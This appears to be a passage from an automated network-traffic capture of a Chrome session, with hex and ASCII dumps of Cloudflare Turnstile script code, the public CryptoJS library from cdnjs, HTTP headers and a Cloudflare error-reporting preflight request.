2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 59 74 3d 33 30 30 30 32 30 3b 76 61 72 20 44 65 3d 33 30 30 30 33 30 3b 76 61 72 20 56 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Yt=300020;var De=300030;var Ve=300031;var j;(fu
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 4a 7c 7c 28 4a 3d 7b 7d 29 29 3b 76 61 72 20 69 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 69 65 7c 7c 28 69 65 3d 7b 7d 29 29 3b 76 61 72 20 58 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 58 7c 7c 28 58 3d 7b 7d 29 29 3b 76 61 72 20 70 65 3b 28 66 75 Data Ascii: ="never",e.MANUAL="manual",e.AUTO="auto"})(J\|\|(J={}));var ie;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ie\|\|(ie={}));var X;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(X\|\|(X={}));var pe;(fu
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 6c 77 61 79 73 22 2c 22 65 78 65 63 75 74 65 22 2c 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 51 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 74 72 75 65 22 2c 22 66 61 6c 73 65 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 79 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 72 65 6e 64 65 72 22 2c 22 65 78 65 63 75 74 65 22 5d 2c 65 29 7d 76 61 72 20 24 74 3d 33 30 30 2c 4a 74 3d 31 30 3b 66 75 6e 63 74 69 6f 6e 20 68 74 28 65 29 7b 76 61 72 20 72 3d 6e 65 77 20 55 52 4c 53 65 61 72 63 68 50 61 72 61 6d 73 3b 69 66 28 65 2e 70 61 72 61 6d 73 2e 5f 64 65 Data Ascii: e==="auto"\|\|Nr.test(e)}function gt(e){return M(["always","execute","interaction-only"],e)}function Qt(e){return M(["true","false"],e)}function yt(e){return M(["render","execute"],e)}var $t=300,Jt=10;function ht(e){var r=new URLSearchParams;if(e.params._de
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 2f 72 63 76 22 29 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 72 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 45 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 73 69 7a 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 6e 2e 6c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 70 29 7d 76 61 72 20 52 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 2c 6f 3d 77 69 6e 64 6f 77 2e 69 6e 6e 65 72 57 69 64 74 68 3c 34 30 30 2c 63 3d 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 46 45 45 44 42 41 43 4b 7c 7c 65 2e 73 74 61 74 65 3d 3d 3d 53 65 2e 46 41 49 4c 55 52 45 5f 48 41 56 49 4e 47 5f 54 52 4f 55 42 4c 45 53 Data Ascii: /rcv").concat(o,"/").concat(e,"/").concat(r,"/").concat(n.theme,"/").concat(E,"/").concat(n.size,"/").concat(n.language,"/").concat(p)}var Rt=function(e){var r,n,o=window.innerWidth<400,c=e.state===Se.FAILURE_FEEDBACK\|\|e.state===Se.FAILURE_HAVING_TROUBLES
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 7c 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 2e 73 68 61 6d 29 72 65 74 75 72 6e 21 31 3b 69 66 28 74 79 70 65 6f 66 20 50 72 6f 78 79 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 30 3b 74 72 79 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 76 61 6c 75 65 4f 66 2e 63 61 6c 6c 28 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 42 6f 6f 6c 65 61 6e 2c 5b 5d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 29 2c 21 30 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 21 31 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 72 2c 6e 29 7b 72 65 74 75 72 6e 20 6a 65 28 29 3f 49 65 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 3a 49 65 3d 66 75 6e 63 74 69 6f 6e 28 63 2c 75 2c 67 29 7b 76 61 72 20 68 3d Data Ascii: \|Reflect.construct.sham)return!1;if(typeof Proxy=="function")return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],function(){})),!0}catch(e){return!1}}function Ie(e,r,n){return je()?Ie=Reflect.construct:Ie=function(c,u,g){var h=
2024-12-24 14:06:30 UTC	1369	IN	Data Raw: 29 3b 76 61 72 20 75 3b 72 65 74 75 72 6e 20 75 3d 72 2e 63 61 6c 6c 28 74 68 69 73 2c 6f 29 2c 4d 65 28 42 65 28 75 29 2c 22 63 6f 64 65 22 2c 76 6f 69 64 20 30 29 2c 75 2e 6e 61 6d 65 3d 22 54 75 72 6e 73 74 69 6c 65 45 72 72 6f 72 22 2c 75 2e 63 6f 64 65 3d 63 2c 75 7d 72 65 74 75 72 6e 20 6e 7d 28 71 65 28 45 72 72 6f 72 29 29 3b 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 72 29 7b 76 61 72 20 6e 3d 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 2c 22 2e 22 29 3b 74 68 72 6f 77 20 6e 65 77 20 64 72 28 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 22 5b 43 6c 6f 75 64 66 6c 61 72 65 20 54 75 72 6e 73 74 69 6c 65 5d 20 22 2e 63 6f 6e 63 61 74 28 65 29 29 Data Ascii: );var u;return u=r.call(this,o),Me(Be(u),"code",void 0),u.name="TurnstileError",u.code=c,u}return n}(qe(Error));function m(e,r){var n="[Cloudflare Turnstile] ".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 6c 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 6c 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 6c 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 6c 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 6c 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 6c 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 6c 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 6c 2e 73 74 79 6c 65 Data Ascii: ent.createElement("div");l.style.position="fixed",l.style.zIndex="2147483646",l.style.width="100vw",l.style.height="100vh",l.style.top="0",l.style.left="0",l.style.transformOrigin="center center",l.style.overflowX="hidden",l.style.overflowY="auto",l.style

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49761	104.17.25.14	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:31 UTC	386	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-24 14:06:31 UTC	962	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 14:06:31 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 505046 Expires: Sun, 14 Dec 2025 14:06:31 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sk9p06%2BLI9pjCaIzdrVIYpjimjJKKg4g5GaRJ%2FNOHuq2Cr%2FrryofcCrxFu9q4BAVaX%2FhrHKwoOwjCpnoolMUgZtVe51agEaeMa6NZswrjewBtQXGFuhutY4iUlmkCQm7ZK96%2FIq5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f712705ca7d7cae-EWR alt-svc: h3=":443"; ma=86400
2024-12-24 14:06:31 UTC	407	IN	Data Raw: 37 62 65 37 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be7!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e Data Ascii: peof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 Data Ascii: ne.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBy
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b Data Ascii: =typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d Data Ascii: or(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c Data Ascii: :0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 Data Ascii: ffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringif
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d Data Ascii: r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLM
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d Data Ascii: bs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=
2024-12-24 14:06:31 UTC	1369	IN	Data Raw: 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 Data Ascii: 39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49760	35.190.80.1	443	736	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 14:06:31 UTC	543	OUT	OPTIONS /report/v4?s=mE2ru3%2FloL1M4wGqzTMnZ9emURenUJcl7iXw3H2DbPreURfcPsPl96mKnx9D3mq6OzS%2FxlBwQ3LKUn900lsO69AmDyYB8ACps9jndZ2kUoJkB1bXail%2B9GrtGl3k4Oi5uKi1VPIX HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://cdnjs.cloudflare.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
